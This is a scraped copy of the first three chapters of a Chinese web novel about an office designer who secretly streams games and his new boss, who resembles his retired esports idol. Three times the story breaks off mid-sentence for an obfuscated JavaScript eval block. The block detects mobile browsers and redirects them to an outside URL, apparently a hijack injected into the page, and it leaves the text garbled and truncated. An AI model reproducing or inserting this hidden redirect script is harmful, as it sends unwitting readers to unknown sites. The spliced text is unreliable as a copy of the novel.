《偶像竟是我老板[直播]》 1. 第 1 章 总经理办公室内,挤在宽大办公椅里的中年男人压低声音劝说。 “郁组长啊,晴海云邸确实是个好项目,业主要求是多了点,但难道不好吗?你们做设计的连脑子都不用动了!你也知道,现在大环境不好,行业都不景气,这个项目能找到你,你该珍惜啊。” 办公桌的另一面,略显瘦削的青年靠在椅背里,双腿交叠,顶起的膝盖上放着平板。他指尖一捻屏幕,缩小图片,抬笔填了两画,头也不抬。 “七百一平,少了不接,我不缺活儿。” 饶是钱远新再心宽体胖,也忍不了这种恃才傲物、油盐不进的下属,更何况他原本也称不上宽和。 钱远新呼吸粗重起来,但还是用尽最后一丝耐心道:“我跟你说过,这位业主是我朋友,对公司发展也大有助益……” 咔哒一声,触控笔被吸回卡槽,青年抬头,露出一张面无表情的冷脸。 “那是你的事,别拿我的设计费做人情。五十一平,打发谁呢?”他瞥了眼左腕的手表,语气同样没什么活人气息。 “钱总,下班时间,留我是要付加班费的……上个季度的加班费,什么时候结?等您卸任留给新老板?” “你!”钱远新火气终于压不住了,猛地拍桌,脸上的肉都颤抖,“郁思白!别以为你业绩第一公司就不会裁你!” 郁思白顿了一下,合上平板起身,淡淡道。 “n+1准备好,我下周就可以交接。” 钱远新一口气哽在喉间,用力把手里已经揉成团的文件砸出去,却被青年随手一抬平板挡住,又掉回他桌上。 “滚,滚!一会儿开会你也别来了!” 郁思白像没听见一样,转身径直离开,连门都没给自己顶头上司关,嘴角不太明显地抬了一下。 来之前他没接到什么会议通知,所以这八成又是他们钱总逮着临下班时候搞的“临时会议”,向来又臭又长,他巴不得不去。 郁思白脚步都轻快了些,拿出耳机戴上,里面立刻传来游戏比赛直播的声音。 “恭喜ICG获得CN赛区第一赛段常规赛冠军,并将作为赛区一号种子,征战纽芬兰大师赛!十年磨一剑,青云自此始!” 他脚下微不可查地一顿,然后立刻加快脚步。 ……啊啊啊怎么已经结束了!钱远新!你赔我直播!! “钱总正在忙,您可能要稍等……” 谈话声从电梯间传出来,郁思白走近,就见里面果然已经站了两个人。 正对着郁思白的青年长脸高颧骨,是钱远新最大狗腿子赵秘书,此刻堆了一脸笑容,带着谄媚看向对面的男人。 那人背对着郁思白,身量很高,深灰色风衣挺括有型,发型特意抓过,只一个背影就让人觉得体面优雅。 “嗯,我不急。”他开口,声音也温和耐心,带着似有若无的笑意。 脾气这么好? 郁思白挑了挑眉,在赵秘书看过来之前收回视线,脚底抹油,立刻拐进了安全通道,半点好奇心也没提起来。 放恐怖游戏里,好奇心超重的主角随便向npc搭话,可是会触发剧情杀的。 安全通道的门刚关上,郁思白一刻没等,站在原地就拿出手机。 直播已经进行到赛后采访环节,虽然错过了夺冠瞬间,但幸好,台上是他熟悉的面孔。 站在中间、衣服上写着pupu的矮个子娃娃脸,是他的好朋友蒲璞,此刻哭得像刚从水里捞出来。 “我们是!冠军!!”他哽咽着喊。 “——我们是冠军!”郁思白也握着拳,跟着在心里喊。 仗着在楼梯间没人看得见,上一秒还一脸冷淡精英模样的郁思白,兴奋得原地跳了两下。 如果不是抱着平板,施展不开,他高低要对着空气打一套拳。 耳机里,pupu颠三倒四地说着感谢的话,郁思白拿着手机下楼,分心注意着脚下的台阶,又琢磨着一会儿怎么摸鱼,补一下夺冠瞬间的录播。 “……也要感谢我的好兄弟res,我们大主播Respit2!” 郁思白:! 他唇角一扬,脊背都挺直了几分,收敛注意力仔细听着耳机里的话。 pupu谢得真情实感:“你们都知道res平时工作忙,但他还是经常半夜陪我聊战术,帮我调整心态,还帮我做数据分析……我真的,特别特别谢谢re宝。” 郁思白眼睛一弯,轻抬下巴,骄傲又开心地哼了一声,手上马不停蹄双开了pupu的直播间,一扫指纹,送了个有大特效的礼物。 钱,赚来就是要花的! 耳机里,主持人小和问:“那么pupu选手的冠军愿望是什么呢?” pupu吸了吸鼻子说:“之前答应res的,如果真能夺冠,就给他一个在全世界面前表白卡神的机会。re宝!现在是我报恩的时候了!我现在就给他打电话——” 诶……诶?! 郁思白脚下一个踉跄,反应过来后,慌忙收起手机抱好平板,小跑下完这层楼,拐出去直奔茶水间。 就楼梯间这传声结构,郁思白今天要是敢在这儿接电话,明天整栋楼都知道他就是游戏主播Respit2了。 他刚踏出楼梯间的下一秒,手机震动,pupu的电话打了进来。 郁思白咚咚的心跳声剧烈,他立刻接通,现场的声音传来,他一瞬间仿佛身临其境,也陷入这场盛大的庆祝中。 “re宝——!” 在这样的氛围里,郁思白压低声音说:“稍等十秒,我在上班。”说罢,立刻按了静音。 五六秒的延迟之后,他从直播里听到自己的声音——“稍等十秒,我在上班。” 郁思白低头瞥了眼弹幕。 [我草这什么声音?帅哥你谁?] [res还有这种清冷池面音?] [我的吐槽怪小社畜呢!] [前面的,在上班哈哈哈哈哈哈] [我不行了,主播怎么社畜人设不倒啊!] 郁思白气得手脚发抖,顿时有种不能给屏幕一拳的无力感。 怎么了!上班!怎么了!现在五点半!你们难道已经下班了吗! 有!什么!好笑!的! 他拳头硬硬的,走过拐角抬眼看到茶水间有人,刚犹豫要不要换个地方,结果,原本凑在一起闲聊的三个人看见他,顿时作鸟兽散,招呼都没跟他打一声。 郁思白和他们擦肩而过,收下了他们上供的茶水间,身后传来那三人的窃窃私语。 “卧槽郁组长好重的杀气……” “他们一组不都这风格?加班加的。” “他刚刚又被抽总叫去了吧,杀气重也是人之常情。” “新老板啥时候到啊,受不了钱老抽了。” “就这两天,但万一新老板更抽风呢。” “别说这种话……” 郁思白关上茶水间的玻璃门,又等了两秒,确定那三人走远,才躲到茶水间最里面,清了清嗓子,做贼似的关了静音,小声说。 “喂pupu?恭喜夺冠!” 他声音比刚刚亮了些,语气也轻快,听起来完全就是个开朗大学生——谁也想不到,直播时小话一套一套的Respit2,现实生活里,会是个面瘫臭脸设计民工。 电话那边,pupu可不管这些,他嘴角咧到耳根,兴奋道:“我们夺冠了!你看到我最后那枪了吗帅不帅!” 郁思白哽了一下:“……没,我刚从老板办公室出来。” 不用想,他都知道现在弹幕什么b样儿。 眼前一黑。 “哦哦。”没上过班的pupu根本无法共情,嘿嘿一笑。 “谢谢你re宝,冠军也有你的一份!我的愿望已经实现了,我把这个许愿的机会给你!” 主持人小和也凑过来,甜甜笑问:“那res老师的冠军愿望是什么呢?” 郁思白隐约能听到观众席里冒出几声“卡神!”“见他老公!”“那是我老公!”等等实在有损形象的话。 脸上有点臊,郁思白又忍不住笑,他左右环顾,确定四下无人,才克制着音量说。 “那、那我就许愿我男神Execut2能参加庆功宴,我要跟男神见面,要他的签名!” pupu大笑:“哈哈!知名Execut2梦男主播!我就知道!” 小和也祝福:“希望你梦想成真!毕竟卡神已经太久没出现在大家视线里了。”她俏皮道,“如果真能见到的话,res,帮我带一句表白呀!” 碍于时间,他们说到这儿就挂了电话。猝不及防,喧嚣热闹的耳机里,霎时间只剩一片死寂。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333020|183336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 半晌,郁思白抬手,揉了揉有点笑僵的脸。 就好像从光怪陆离的梦境惊醒,睁眼后发现,目之所及只有那片低矮的白色天花板。 呆板又无趣,日复一日。 上班,工作,加班,下班……算了。 郁思白打了个哈欠,熬夜过后的疲惫现在才反上来,一个哈欠接着一个,他眼眶瞬间通红,摘下眼镜随手一揉,就糊了满手眼泪。 把手机搁到架子上,他搜了个【ICG夺冠瞬间】的视频点开。 茶水间里暖黄的氛围灯昏暗,手机屏幕上的激烈比赛成了唯一光源,映亮那双困倦却发亮的眼睛。 郁思白“唰”地撕开速溶咖啡的包装,倒粉、加水、拧紧盖子,整套动作在那张冷脸的衬托下,简直像在做精密实验。 然后他深吸一口气,紧紧抓着杯子开始疯狂摇晃。 过了许久,视频里,随着pupu最后一枪爆头终结比赛,现场骤然沸腾。 “砰”的一声闷响,郁思白拧开杯盖,醇香的热气顿时弥漫开来。 芜!牛马版开香槟! 茶水间镜子里,郁思白不知何时已经笑得眼睛弯弯,颊边挂起两个浅浅的梨涡,开心到有点冒傻气。 是和“面瘫臭脸郁组长”完全背道而驰的、那种毫无防备的清澈傻气,让人一看就知道他耳根子软,仿佛每周都能哄他多写两份周报。 郁思白拍拍自己的脸蛋,把梨涡拍回去——开心归开心,被同事撞见就不好了。 没了那对小梨涡,郁思白就是个标准的天生冷脸,连微笑都像是冷笑。 就和他男神很像!嘿嘿。 所以说,他刚刚也不是故意吓唬那三个人的嘛…… “咳。” 身后突然响起的清嗓声让郁思白整个人抖了一下,他猛地回头,却瞳孔一缩,愣在原地。 茶水间玻璃门不知道什么时候被推开,披着深灰色长款风衣的男人身量很高,手搭在门把上,黑发利落、衬出眉眼冷峻的线条,还有那张让郁思白移不开视线的脸—— 郁思白脑袋嗡的一下。 男、男神……? 虽然都说冠军愿望很灵,但,但这是不是也太言出法随了??? 郁思白如在梦里,脚底下踩的都变成云,软乎乎得让他几乎陷进去。 他下意识要扬起笑容。 对方瞥了一眼他的手机画面,微微挑眉。 郁思白手里的咖啡差点没端住:“你、你……” 那人目光落到他还残存泪痕的脸上,顿了一下,唇边却扬起让郁思白觉得陌生的笑容。 “抱歉,吓到你了。”他抬手轻推鼻梁上架着的银丝框镜,开口,温润的嗓音里带着恰到好处的歉意。 但就在他扬起笑容的瞬间,好像梦境破碎一样,郁思白垮了脸。 ……呸呸,什么男神,真是兴奋糊涂了。 这人好标准的职场笑容……把这张和他高冷男神真的有七分相似的脸,全毁了! 刚刚一眼万年似的错认好像只是幻觉,郁思白扭头把手机倒扣,再看过去,竟是半点熟悉都找不到了。 意识到自己肯定是认错了人,郁思白神情立刻冷淡下来,没什么感情地回了句:“没事。” 那个笑面虎赝品却好像根本没看出他的冷待,倚在茶台上,好奇问:“在这儿……玩游戏,不怕被老板抓到吗?” 他男神也根本不会跟别人搭话!郁思白想。 “你不说就不会。”郁思白收起手机,微微拧眉,脚步停了一下说,“我好像没见过你。” 面前的男人笑意更深。没等他开口,茶水间外面先传来渐渐靠近的声音。 总办的赵秘书匆匆道:“季总,原来您在这儿!” ……季什么玩意儿? 郁思白本就没什么表情的脸上,空白了一瞬。 然后他听见一道毫不遮掩的笑声。 眼前的男人明明挂着优雅得体的微笑,却莫名给郁思白一种被狐狸盯上的感觉。 男人眯了眯眼,莞尔:“初次见面,季闻则。闻过则喜的‘闻则’。今天起,担任总经理职务。” 说罢,不等郁思白开口,他撩起眼皮扫了眼对面青年的工牌,噙着笑念。 “设计一组,郁思白组长……哎,刚刚在会议室,我好像也没见到你呢。” 2. 第 2 章 ……坏了,不会真的要n+1了吧。 郁思白木着脸,垂眸,脑海里过了很多遍自己今天就卷铺盖走人的未来,末了,破罐子破摔地硬邦邦道。 “没人通知我。” 他面前,季闻则正站在桌前挑拣咖啡,仍旧一张笑眯眯的脸,闻言轻飘飘道:“嗯,我知道。” ……? 郁思白一口气哽住,拳头握紧。 你踏马,你知道?那你唬我呢?? “所以我亲自来请你——”季闻则慢悠悠说完,拎起一条速溶咖啡,转头看向他。 面前青年那双冷淡懒倦的眼睛突然睁大了些,显得眼尾乖巧地下垂,连带着身上萦绕着的、那股生人勿进的气质,也被冲散了一瞬。 “开玩笑的。”嘴角微微勾起,季闻则一眨眼,“郁组长,放轻松。” 茶水间里一片死寂,只剩下季闻则撕开袋子,咖啡粉簌簌落进一次性纸杯的声音。 ……幸好我不上进。不然能被这两句大起大落的话玩死。 郁思白磨了下牙,杀气只外露了半秒,就被收了回来。 算了,这个月的窝囊费还没发。 他平静开口:“季总有事吗?”没事的话你就滚吧。 “本来没事,现在忽然有了——”季闻则莞尔,目光缓慢地打量他,在郁思白怀疑这人是不是要把自己论斤卖了的时候,含笑开口。 “别紧张,只是叫你晚上一起去见个客户,有空么?” 想都没想,郁思白干脆道:“抱歉季总,晚上要加班。”加班完回家还要补今天的总决赛解说,他很忙! 一直没做声的赵秘书接过话茬:“对的,郁组长平时都忙,钱总没带他应酬过。要不让二组的钱翀组长陪您?钱组长人活络,酒量好,反正都是组长……” 季闻则一哂,看着杯子里渐高的水位,淡淡:“反正都姓钱,不如你去跟钱远新说,让他亲自陪?” “啊,不,不不……”赵秘书小心地咽了下口水,讪笑,“是我多话了。” 钱远新是叮嘱他机灵点,多推荐钱组长,但就这点工资,难不成还想让他卖命? 而且,季总对他和对郁组长的语气区别,也太明显了吧。 眼珠一转,意识到自己招嫌的赵秘书多拿了只纸杯,眼尖地上前:“季总,小心烫,我来吧。” “不用。”季闻则说着,拆了盒牛奶,往杯子里倒了大半,剩下的往旁边一递,示意赵秘书接住。 “你去忙吧,让郁组长带我逛逛。” 赵秘书捏着牛奶盒愣了愣,目光落在正准备溜走的郁思白身上。 郁思白脚被黏在原地。 又我? 我说话了? 他扭头看向睁眼说瞎话的新老板,新老板挑了挑眉,拿起纸杯跟在了他的身后。 “走吧,郁组长。” 郁思白抿唇。 进茶水间的时候吓跑了一窝同事,没想到出来的时候,后面跟了个大老板。 他板着脸顺着走廊向前,每路过一间屋子,就人机一样念一下上面的铭牌。 “会客间。” “建材陈列室。” 他抱着让季闻则知难而退的心思,扭头一看,这人捧着杯加奶的咖啡,仍旧笑眯眯的,却也不说话。 ……怪人。 然后瞥清楚那张和偶像有三分像的脸,他又改了想法。 长的帅的怪人。 郁思白收回视线,继续往前。 视野陡然开阔,右侧墙壁变成了一排磨砂的落地玻璃,看得出这间屋子采光极好。 玻璃上贴着铭牌。 “设计一组办公室。”郁思白说。 玻璃门开着半扇,他声音刚响起,里面的人就像向日葵见到太阳一样,一支一支从工位上抬起了头。 季闻则抿了口咖啡,纸杯速溶都让他喝出了高级蓝山的意思。 他看了眼屋里的向日葵们,忽然开口,声音不高不低,只够两人听见。 “郁组长,想当设计总监吗?”他问。 郁思白想翻白眼。 公司里这职位空悬一年,明眼人都知道是钱远新给钱翀熬够资历之后留的位置。这种时候让他接任,不是摆明了把他往火上架么。 往玻璃门上一倚,郁思白一副不打算继续走的样子,想也不想道:“目前没兴趣。” “不求上进。”季闻则含笑问,“那你的组员也不想升职吗?” 郁思白深深看了新老板一眼,转头在屋里寻摸一番,抬手叫来路过的高个向日葵。 “向日,想当组长吗?” 本名高向日的设计师一扯嘴角,嫌弃道:“我每天要准时去接女儿放学。” 郁思白点头,又看向工位离门口最近的粉色大波浪姑娘:“天骄,你想当组长吗。” 武天骄视线早落回屏幕上,头也不抬:“自己的事自己做。” 郁思白再环顾,满朝文武支支吾吾,最后他眉眼挑了挑,向后扭头看着季闻则,一切尽在不言中。 季闻则本来在忍,可看见郁思白木着脸回头的时候,他还是偏头笑了一下。 “一组……跟我想象的风格不太一样。”他指尖轻点着纸杯,看了看屋里,点了最好奇、探头探脑的那个,问。 “你呢?” 被叫起来的是个实习生,眉眼间的朝气和前辈们格格不入,他握拳道:“郁组长是我的目标!” 季闻则于是也用一样的侧头角度看向郁思白,抬了抬下巴:“继承人都给你找好了,再考虑一下?” 高向日抱着两卷图纸,看看两人,疑惑道:“这位是……?” 季闻则嘴角微微勾起,向他颔首,却没说话,直起身来,拨弄了一下摆在进门桌子上的一排摇头向日葵。 “这是你们组的吉祥物?” 高向日:“哦,这个是我们会给每个客户送的纪念小摆件。” 向日葵的弹簧很有韧性,摇头晃脑个不停。 “挺可爱,回头送一个到我办公室。” 紧接着,季闻则又用同样随意的语气道:“等下自己找杨助理沟通,明天之前,补齐会议汇报内容。” 郁思白看着那只向日葵,愣了两秒才反应过来,这人的话题已经跳跃到布置工作了。 得到一句“知道了”的回复后,季闻则抬手,在他肩头轻拍两下以示看好,笑眯眯转身:“你忙,我自己转转。” 郁思白的视线下意识跟过去。 这位季老板似乎真的只是四下转转,步伐不快不慢,深灰色长风衣的衣摆掀起又垂落。 ……之前在茶水间的惊鸿一瞥果然是错觉,这股欠欠的资本家作风,和他冷漠寡言的暖心男神Execut2,哪里像了。 郁思白抿唇,遗憾地收回视线,却撞上高向日探究的目光。 “咋了组长,看帅哥呢?” 一米九多的人,看谁都睥睨地低着头,说出来的话却傻傻呆呆。 郁思白抬头瞥他:“不求上进。” 高向日缩头,一摸脑袋:“我在上进啊?我上学期被我闺女幼儿园评为最棒爸爸!” 郁思白往最里面自己的工位走,顺手点了一下实习生的桌面:“小穆,一会儿找个新向日葵,送到……” 他话一顿。 送到哪儿呢? “问到了。钱总暂时不搬,新老板办公地点目前在隔壁总监办公室。”粉色大波浪的武天骄说,“送去那里吧。” 高向日差点没抱住怀里的图:“刚刚那个是……新老板?!” 武天骄一推眼镜,看向郁思白。 郁思白哞地在自己的工位坐下,无声叹气,点头。 “嗯,季闻则,季总。” 顿时,向日葵们簌簌起来。 “姓季?总部季董那个季?” “等下……季闻则,是他啊。海外名校毕业,总部太子爷!” “好家伙,那是来咱这儿镀金来了?” 郁思白没管他们,自顾自戴上降噪耳机,抬手划过触控区,又悄悄调成透传模式。 他面无表情打开软件,八卦声却清晰地传进耳朵里。 “据说他当年毕业后,也是隐姓埋名从总部基层做起的,能力很强,运筹帷幄,没多久当上部门主管之后,有次董事会的人见到他,一声季小少爷喊漏嘴了……” “真的假的哈哈哈?” “你的当务之急是卸载小说软件。” “不是,真的啊!他跟总部季董一看就是母子俩好吗,笑起来一模一样!” …… 郁思白打开网页搜索季闻则,最后在总公司官网查到了此人生平。 本科四年研究生两年,入职总公司、一路晋升……时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333021|183336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间点清晰可见,绝无18岁偷跑三年去打电竞的说法。 哪怕他是Execut2的死忠粉,也得承认,自家男神和绝大多数职业选手一样,只有高中学历。 抬手按了按额角,郁思白闭上眼睛,觉得自己真是加班加出幻觉了。 “……诶不过,刚刚看着季总人还挺好的呢。”有人说。 消息灵通的啧啧道:“见仁见智吧。” “听说之前他手下有人弄错了数据,差点误了招标会,事后那人一点惩罚都没有,季总只说下不为例。” “啊?” “你的当务之急是少看玛丽苏言情剧。” “听我说完嘛。结果隔了好久,那人又搞错了一次,这次倒是幸运,啥都没耽误。” “然后呢?” “然后他直接被调到边缘部门了!第二天!” “卧槽,这种最恐怖了好吗。” “我倒是更喜欢这种,第一次只是提醒,要是钱远新,肯定已经抓着小辫子疯狂开会批斗了,呵呵,闲的……” 郁思白听得冷笑,心里附和。 总之,钱远新这个讨人厌的走了,是好事!至于新老板…… 先观察着吧。兵来将挡水来土掩,实在不行,大不了跑路。 - 九点半,郁思白掐着点关机,在椅子上伸了个巨大的懒腰。 半小时就能做完的工作,硬是被他摸着鱼做了两个半小时,四舍五入喜提三小时加班费——郁组长真是辛苦了! 郁思白反手,自己摸了摸自己的头。 窗外还很亮堂,却是一座座写字楼点亮的,他是其中不早也不晚的一个。 一组众人早已经陆续走了个干净,郁思白一如往常为大家收尾,断电关灯锁门,坐着一个人的电梯下到停车场,一眼就找到了自己的车。 漂亮的灰蓝色,在一众黑白灰的社畜颜色里很是显眼。同事都说,这车和郁组长风格不搭。 ……懂什么,这是他偶像Execut2的发色。 郁思白坐进车里,自动连接上手机蓝牙,重鼓点如心跳般响起,叙事感很强的男声唱着有力的战歌。 I need to keep you around (想将你留在身旁) With my feet tied (以我小小的步伐) With my feet tied tight to the ground (以我不愿向前的脚步) …… 灰蓝色的车驶出地库,郁思白握着方向盘的手指轻轻打着节奏,心里被曲调带起小小的欢喜。 这是他百听不厌的歌——Execut2首个冠军赛那年的主题曲。 拳头做游戏可能褒贬不一,但音乐绝对是顶中之顶。 郁思白越听越带劲,停下等红灯的时候,脑袋都开始随着节奏轻轻晃动。 忽然,他停下摇晃,一推眼镜,下意识眯着眼睛倾身。 像选秀时,看见甄嬛的大橘。 卡神?! ……不,不是。 郁思白轻轻嘶了声。 前方是跨江大桥,桥头倚着他深灰色风衣的季老板,看不清表情,只剩下一个和Execut2像到极致的冷峻轮廓。 ……是代餐! 郁思白心跳漏了一拍,后车催促的喇叭声响起,才收回视线挂挡起步。 幸好老板不认识他的车,不然下班时间见着,多不合适…… 郁思白只当是个小插曲,在路口右拐。可开出去没多远,挡风玻璃上突然啪地掉了一滴硕大的雨,紧接着像撒了一地弹珠似的,噼里啪啦全往下砸。 食指一拨开了雨刷,郁思白迎着雨又开出去一段路,突然,脑海里却冒出一个站在桥边的深灰风衣身影。 他倾身倚在栏杆上,垂着头,像是不太舒服。 今晚有应酬……是喝酒喝多了? 车外雨势更大,收了油门的车速度减缓,片刻后,还是停在了路边。 郁思白抿唇,登上直播账号挂了个【接老板,晚点开播】的请假条,重新起步,一打方向盘,掉了头。 ……醉汉淋雨是会失温冻死的,他还不想钱远新杀个回马枪。 而且不去老板跟前晃一圈,他怎么知道我加班了? 3. 第 3 章 空气里潮湿得已经让人呼吸不畅,桥上的风比往常大,吹得季闻则风衣猎猎作响。 他沿着桥散步,一手揣在兜里,一手拿着手机垂眸看着,荧荧的光映着他冷淡的神情,和嘴角那支叼着、却没点燃的烟。 社交软件首页还是那些没营养的新闻,在界面上停留不到两秒,就被丢垃圾一样随意划走。 【某男星被曝恋情】 【网红传闻是某大佬女友】 【ICG3:0夺冠】 【新规!这几类公司要注意】 …… 划到最后,大数据都不知道该给这种用户推荐什么了,加载的小圆圈转了半天,僵持。 上方弹出微信消息。 【薛简:哥们,我以为你这辈子不回沪市了呢】 连半秒都没停留,也被手指一抹删掉。 季闻则不耐地咬了下烟嘴,还是从兜里摸出火机,咔哒一声按下,跳跃的火苗凑到嘴边。 忽地加强的一阵风吹歪火焰,季闻则撩起眼皮,看见一辆车在前方路边缓缓停下。 路灯让世界都套上橙黄的滤镜,但仍看得出,这辆车的颜色不是常见的浅灰。 季闻则正要收回视线,那车却亮起倒车灯,两秒后,正正停在他面前。 副驾车窗降下来,坐在驾驶位的青年倾身,露出那张他颇有印象的、恃才傲物的冷脸。 眯了眯眼,季闻则抬手夹走叼着的烟,意外:“郁组长?” “刚下班,路过的时候遇见暴雨,顺路送季总回去吧。” 青年开口,声音还是冷质的,人却没有像白天一样懒倦地垂眸,而是仰着脸,认真抬眼看过来。 季闻则挑了下眉。 特意绕路的? 他上前,伸手搭住窗框,果然摸到一手雨后的潮湿。 按下心头被打扰的烦躁,季闻则面上挂起笑容,低眉俯身:“谢谢啊,不用了,你快回吧。” 他以为说到这儿就行了,哪知青年皱了皱眉说:“一个人醉酒在外面很危险。” 二十来岁比自己还小的年纪,一说这话,好像平白长了十岁一样。 偏偏眼神认真得让人没法指摘。 没有第一天上任就跟下属吵架的道理,季闻则耐着性子道:“我散散步,很近。” 郁思白沉默了片刻,又开口:“这座桥有醉汉翻下去淹死过。” 他忽然很固执,又或者这人一贯如此,季闻则好奇看了片刻,忽然松了口:“那你先导航看看,顺不顺路。” 郁思白没说话,点开车载导航。 “江澜御府。”季闻则说。 输到一半,郁思白忽然觉得有些熟悉,但手比脑子快,啪地点了搜索。 然后他的目光和大脑一起宕机了。 车窗外传来一声轻笑。 【江澜御府东门距您步行350米开车1.5公里】 郁思白缓缓扭头,看向桥对面那栋临江的高楼——江澜御府。 ……还真是散步啊,你们有钱人。 季闻则看见青年抬手一摸鼻尖,仿佛那里顶了一只红彤彤的小丑鼻子,觉得这人倒是有意思。 需要点烟才能驱除的烦躁劲儿莫名散了,季闻则收了火机,像下午拍他肩膀一样,轻拍了拍副驾的窗框,直起腰:“回去吧,路上小心……” 话音未落,只听一道很轻的“咚”声,紧接着,季闻则那套价格不菲的深灰色风衣,啪、啪,晕开两团更深的水渍。 那朵雷雨云追过来了。 雨势加大的有些快,季闻则像是愣住,又两秒,直到前额的头发被浸湿垂了下来,他才重新挂上笑容,问:“介意我坐副驾么?” 他姿态洒然,仿佛刚刚什么都没说过。 郁思白只觉得这人是真醉了,淋着雨还要问这种话,点头道:“随意。” 季闻则把没点的烟隔空丢进垃圾桶,这才拉开车门坐进来,裹进一团潮湿的酒气。 “麻烦郁组长了,油钱报销。” “是电车。”郁思白取消双闪。 季闻则:“你真诚实。” 郁思白一掀眼皮,借着路灯的光看了笑眯眯的新老板两秒,反手摸出手机找到收款码,目视前方,往右一递。 “五毛。” “走公账。”他听见季闻则说。 郁思白眼睛睁大,不敢置信地扭头。 “叮。” “微信到账0.5元。” 季闻则收起手机,轻飘飘笑道:“开玩笑。” 一个真要,一个也真给。郁思白按捺住自己想吐槽的嘴,挂挡起步,油门踩得很缓。 季闻则把车窗降下两三厘米,风灌进来,不算很冷,却吹散了密闭空间的酒味儿。 “开的很稳啊,经常载人?”季闻则问。 “家里老人喜欢兜风。”郁思白随口答完,忽然想起什么,问。 “您办公室不在1608吗?小穆去送向日葵,门没开。” “嗯,在1702。” 郁思白愣了愣,这不是钱远新的办公室? 季闻则靠在椅背上,揉了揉微酸的脖颈,淡淡道:“钱远新年纪大了,搬得慢也正常。找个人帮帮他,一晚上也就腾空了……让继承人明天再送一趟吧。” 他说这话的时候仍旧温和笑着,郁思白却听出了点说一不二的锋利意味。 钱远新那么大一坨前总经理,说赶就赶走了? 郁思白在心里咋舌。 他忽然意识到,眼前这位新老板和钱远新不是一个风格,也不是一个段位,恐怕不是那么好相与的。 “对了,郁组长。”季闻则看着窗外,状似随口问,“做总监的事,考虑得怎么样了?” 郁思白:……? “才三个小时。”他语气毫无起伏道。 “不够么?” 季闻则倚着椅背侧头,郁思白能感觉到他缓慢打量的视线,后背微绷,像被掠食者盯上一样。 他冷不丁想起下午同事们说的,季闻则的“下不为例”。 握紧方向盘,郁思白缓缓吐出一口气,沉着声音,如同一颗扎进地里的钉子。 “如果您提拔我,是为了跟钱远新叔侄打擂台,那抱歉,季总,我能力不足,只能做点设计。” 就算不是,他也不乐意!总监什么脏活累活都干,工作量加了一倍不说,工资就涨八百块……鬼才去啊。 越想越觉得自己有理,郁思白眼里带了点火气,趁着红灯,准备甩老板一个眼刀,一扭头,却忽然顿住。 车里很暗,郁思白一眼没能看清季闻则的标签,那张脸上,笑意比往常淡了很多,目光沉然。 ……啧,算了。 真看到这张脸,郁思白倒是一点紧张都没了,只剩无声咂嘴。 又有点像了…… 像他冷冰冰帅脸的男神。 虽然和他男神那种意气风发的冷傲没得比就是了。 郁思白悠悠收回视线,忽然觉得,原谅老板一秒也不是不行,再开口,平淡的语气游刃有余。 “我做不了管理,季总另请高明吧。” 他把底线摆得很明白,浑不在意连着驳老板的面子。 车里气氛有片刻紧绷,直到余光里,他看见季闻则垂眸低头,浸湿的那缕头发垂下来,抖了抖。 半晌,他扶着额角笑了,低低地笑,眯着眼抬手按了按眉心,开口,声音重新攀上挥散不去的笑意。 季闻则乘着那点醉意,轻飘飘道。 “这样啊,真是遗憾。” 他看向窗外,唇边仍是那副漫不经心的笑,仿佛一张摘不掉的面具。 郁思白心里莫名有些惴惴。 话题结束后,两人再也没谁开口,好在车程实在很近,尴尬还来不及发酵。 行驶的方向和雷雨云背道而驰,片刻后,周遭就只剩刚下过雨的湿润地面。 原本导航到更远的地库入库,但见外面也没再下雨,郁思白索性在小区门口停了车。 提前把老板赶下车……迟则生变! “辛苦了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“都是陈年旧事儿了,请我这个过气选手干什么。” 薛简语气夸张:“你可没过气!今天咱队拿冠军了你知道不?” “嗯,知道。” “哟,我们日理万机的季总这是破戒了?”薛简意外,“你啥时候开始看比赛的。” 季闻则一哂:“在公司不小心瞥见了。” “谁那么倒霉被你抓了。”薛简大笑后说,“那你听见了没,你今天又出现在赛后采访了。” 季闻则叼着烟,眯了眯眼:“你让说的?” “哪儿能啊,我还不知道你?恨不得退役就是死了……跟你说,这回完全是人家自发的啊。”薛简卖关子道,“你猜是谁?” 季闻则拐进无人的花园凉亭,找了个干燥的长椅坐下,脑海里囫囵一转,没什么人选。 七年过去,职业选手早就换了一批,更何况他以前一直在外赛区打比赛,国内老选手尚有几分香火情,新生代压根连他面都没见过…… 靠在栏杆上,季闻则吐出口烟,想着反正得抽完这支,随口猜几个玩玩。 “Cameis?” “啊,谁?” “……奔四的老家伙。那joynn?” “他前年暴雷已经查无此人了啊。” “也正常……是Founder?” “Foun神退役就忙着老婆学位热炕头呢……唉你这个老古董!别猜了!”薛简耐心告罄的很快,直白道。 “是Respit2。” 季闻则把玩着打火机,眼皮掀都没掀一下:“谁?” “呸,老古董!”薛简骂。 “就是你那个铁粉啊!res!从EMEA就粉你的那小孩儿,后来做了主播,巨火,都当好几年J站瓦区一哥了……” 季闻则手里的火机不知从什么时候就没再抛出,微蹙着眉头回忆。 “您老还有印象吗?”薛简无奈提示。 